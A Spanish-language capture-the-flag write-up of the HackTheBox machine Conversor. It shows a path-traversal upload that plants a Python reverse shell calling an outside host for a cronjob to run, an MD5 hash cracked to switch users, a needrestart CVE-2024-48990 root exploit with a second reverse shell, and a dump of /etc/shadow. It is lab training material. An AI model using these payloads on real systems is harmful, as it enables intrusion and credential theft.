This page looks best with JavaScript enabled

HackTheBox - Conversor

Conversor ofrece una solucion para reportes nmap. El codigo fuente es expuesto por la aplicacion web, donde descubrimos vulnerabilidades Path Traversal y Arbitrary File Write, asi como la ejecucion de un cronjob que nos permitio acceso inicial. Encontramos credenciales en la base de datos de la aplicacion logrando cambiar a un nuevo usuario. Este ultimo puede ejecutar como root un script vulnerable el cual nos ayudo escalar privilegios.

Nombre Conversor
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2025-10-25
IP 10.10.11.90
Maker

FisMatHack

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [1095, 1172, 3578, 2468, 868, 323, 226, 68, 17, 106],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Oct 25 14:45:38 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.92
Nmap scan report for 10.10.11.92
Host is up (0.086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 25 14:45:48 2025 -- 1 IP address (1 host up) scanned in 9.94 seconds

Web Site

El sitio web nos redirige al dominio conversor.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.92
HTTP/1.1 301 Moved Permanently
Date: Sat, 25 Oct 2025 20:47:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://conversor.htb/
Content-Type: text/html; charset=iso-8859-1

El sitio muestra dos formularios para login y registro.

image
image

Tras registrar un usuario y autenticarse, el sitio muestra un conversor de reportes de nmap en xml.

image

En about encontramos un enlace para el codigo del paquete utilizado por el sitio.

image

Conversor

Ejecutamos un escaneo en nmap con salida xml y tomamos la plantilla. Tras subir ambos archivos se muestra la informacion en html.

image

Conversor

Descargamos y extrajimos el codigo. Se muestra codigo de una aplicacion web escrita en python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ wget -q http://conversor.htb/static/source_code.tar.gz
❯ sha256sum source_code.tar.gz
8ca110c71f670e0f8b5eb7660cb6d0767373a45cd55d652de4676d4edd69e046  source_code.tar.gz
❯ tar -xvf source_code.tar.gz
app.py
app.wsgi
install.md
instance/
instance/users.db
scripts/
static/
static/images/
static/images/david.png
static/images/fismathack.png
static/images/arturo.png
static/nmap.xslt
static/style.css
templates/
templates/register.html
templates/about.html
templates/index.html
templates/login.html
templates/base.html
templates/result.html
uploads/

Source Code

En el codigo se muestra el directorio para la base de datos sqlite /var/www/conversor.htb/instance/users.db.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid

app = Flask(__name__)
app.secret_key = 'Changemeplease'

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def init_db():
    os.makedirs(os.path.join(BASE_DIR, 'instance'), exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS files (
        id TEXT PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        FOREIGN KEY(user_id) REFERENCES users(id)
    )''')
    conn.commit()
    conn.close()

init_db()

def get_db():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    return conn

@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE user_id=?", (session['user_id'],))
    files = cur.fetchall()
    conn.close()
    return render_template('index.html', files=files)

@app.route('/register', methods=['GET','POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        try:
            conn.execute("INSERT INTO users (username,password) VALUES (?,?)", (username,password))
            conn.commit()
            conn.close()
            return redirect(url_for('login'))
        except sqlite3.IntegrityError:
            conn.close()
            return "Username already exists"
    return render_template('register.html')
@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('login'))


@app.route('/about')
def about():
 return render_template('about.html')

@app.route('/login', methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        cur = conn.cursor()
        cur.execute("SELECT * FROM users WHERE username=? AND password=?", (username,password))
        user = cur.fetchone()
        conn.close()
        if user:
            session['user_id'] = user['id']
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials"
    return render_template('login.html')


@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

@app.route('/view/<file_id>')
def view_file(file_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE id=? AND user_id=?", (file_id, session['user_id']))
    file = cur.fetchone()
    conn.close()
    if file:
        return send_from_directory(UPLOAD_FOLDER, file['filename'])
    return "File not found"

Path Traversal / Arbitrary File Write

La ruta /convert permite subir sin validar el nombre del archivo. Esto permitiria el uso de ../ (Path Traversal) en el nombre del archivo lo que permite escribir archivos fuera del directorio uploads/. Es decir, si el archivo tuviera el nombre ../../folder/name/file.ext, este crearia el archivo en esa direccion, esto indicaria una vulnerabilidad Arbitrary File Write.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# [... cut ..]

UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')

# [... cut ..]

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

# [... cut ...]

Cronjob

En el archivo install.md se indica que existe un cronjob que ejecuta archivos .py cada minuto en el directorio /var/www/conversor.htb/scripts/.

1
2
3
4
5
6
7
8
9
❯ cat install.md
# [... cut ...]

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

User - www-data

Creamos un archivo python con una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ cat sh.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.3",1339));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("sh")

Nuestro objetivo es subir el archivo a /var/www/conversor.htb/scripts/ donde el cronjob lo ejecutaria, esto lo logramos en la subida de archivos xml y/o xslt. Como nombre de archivo en cualquiera de los dos archivos indicamos ../scripts/sh.py.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
POST /convert HTTP/1.1
Host: conversor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary993e7647285f9581b6625af8c5654ac7
Content-Length: 732
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJzY2t1bGwifQ.aP031g.ifkzp4JiuH9SGRbXNmBgofGYWU8
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary993e7647285f9581b6625af8c5654ac7
Content-Disposition: form-data; name="xml_file"; filename="xmlfile.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<files>
  <file path="/nothing/to/see/here">just text for xml</file>
</files>

------geckoformboundary993e7647285f9581b6625af8c5654ac7
Content-Disposition: form-data; name="xslt_file"; filename="../scripts/sh.py"
Content-Type: application/octet-stream

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.3",1339));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("sh")
------geckoformboundary993e7647285f9581b6625af8c5654ac7--


HTTP/1.1 200 OK
Date: Sat, 25 Oct 2025 21:47:59 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 74

Error: Start tag expected, '<' not found, line 1, column 1 (sh.py, line 1)

Shell

Luego de unos segundos nuestra shell es ejecutada y logramos acceso con www-data.

1
2
3
4
5
6
7
8
❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
connect to [10.10.14.3] from conversor.htb [10.10.11.92] 49814
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www
$

Database

Encontramos la base de datos de la aplicacion donde listamos el hash del usuario fismathack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
$ ls -lah
total 32K
drwxr-x--- 2 www-data www-data 4.0K Oct 25 21:49 .
drwxr-x--- 8 www-data www-data 4.0K Oct 25 20:35 ..
-rwxr-x--- 1 www-data www-data  24K Oct 25 21:49 users.db
$ which sqlite3
/usr/bin/sqlite3
$ sqlite3
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open users.db
sqlite> .tables
files  users
sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
[.. cut ..]
15|sckull|9e8694e99216221dad8f6fd183904504
sqlite>

crackstation muestra el valor en texto plano.

Hash Type Result
5b5c3ac3a1c897c94caad48e6c71fdec md5 Keepmesafeandwarm

User - fismathack

Este usuario existe en la maquina, cambiamos a este con la contrasena anterior logrando leer la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$ su fismathack
Password: Keepmesafeandwarm
fismathack@conversor:/var/www/conversor.htb/instance$ whoami;id
fismathack
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)
fismathack@conversor:/var/www/conversor.htb/instance$ cd
fismathack@conversor:~$ ls
user.txt
fismathack@conversor:~$ cat user.txt
5af49e6ebf19af9b4cb592f3ae3087ab
fismathack@conversor:~$

Privesc

sudo -l -l indica que podemos ejecutar needrestart como root a traves de sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
fismathack@conversor:~$ sudo -l -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
    /usr/sbin/needrestart
fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executable
fismathack@conversor:~$

Vemos que la version de este script es needrestart 3.7.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
fismathack@conversor:~$ sudo needrestart --version

needrestart 3.7 - Restart daemons after library updates.

Authors:
  Thomas Liske <thomas@fiasko-nw.net>

Copyright Holder:
  2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]

Upstream:
  https://github.com/liske/needrestart

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

fismathack@conversor:~$

CVE-2024-48990

Encontramos que existe una vulnerabilidad que permite la ejecucion de codigo Python por needrestart. Esto ocurre cuando el script determina si un proceso de Python necesita reiniciarse, tomando la variable PYTHONPATH desde /proc/<pid>/environ que luego la define y utiliza antes de ejecutar import sys\nprint(sys.path)\n. El PoC indica la creacion del modulo importlib el cual se ejecutaria a traves de import.

Exploit

Se crea el modulo importlib en el directorio /dev/shm/.

1
2
3
# main.py
while True:
    pass

Se agrega una shell inversa en __init__.py.

1
2
# importlib/__init__.py
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",1335));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

El modulo quedaria de la siguiente forma.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
fismathack@conversor:/dev/shm$ mkdir importlib
fismathack@conversor:/dev/shm$ nano importlib/__init__.py
fismathack@conversor:/dev/shm$ nano main.py
fismathack@conversor:/dev/shm$ ls -R
.:
importlib  main.py

./importlib:
__init__.py
fismathack@conversor:/dev/shm$

En una shell asignamos el directorio /dev/shm/ a la variable PYTHONPATH y luego ejecutamos el archivo main.py, proceso que ejecutaria nuestra shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
fismathack@conversor:/dev/shm$ export PYTHONPATH=/dev/shm/; python3 main.py 
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:

  Traceback (most recent call last):
    File "/usr/lib/python3.10/site.py", line 192, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
    File "/dev/shm/importlib/__init__.py", line 1, in <module>
      import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",1335));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
  ConnectionRefusedError: [Errno 111] Connection refused

Remainder of file ignored

Ejecutamos needrestart con sudo.

1
2
fismathack@conversor:~$ sudo needrestart 
Scanning processes... [==============================================================================================================================================================  ]

Con ello logramos acceso como root y a la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.3] from conversor.htb [10.10.11.92] 37984
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/dev/shm
# cd /root
# ls
root.txt  scripts
# cat root.txt
80e8ee30ba0ac4d57da354ddf9e882b7
#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# cat /etc/shadow
root:$y$j9T$CxUp91Y7aNmCAg.0BrP1N1$NFfbRCjYo56DBVoop2pwSbs9snvrUGR0IEINR4qZfmB:20301:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tcpdump:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
landscape:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20300:0:99999:7:::
fismathack:$y$j9T$Em7KF.PXS5RiFQPkRzVUo.$tMXvaVSk5wpypsh250ddml9Ko./E8.7DnQSgs2AhKx2:20314:0:99999:7:::
lxd:!:20300::::::
sshd:*:20300:0:99999:7:::
_laurel:!:20382::::::
#
Share on

Dany Sucuc
WRITTEN BY
sckull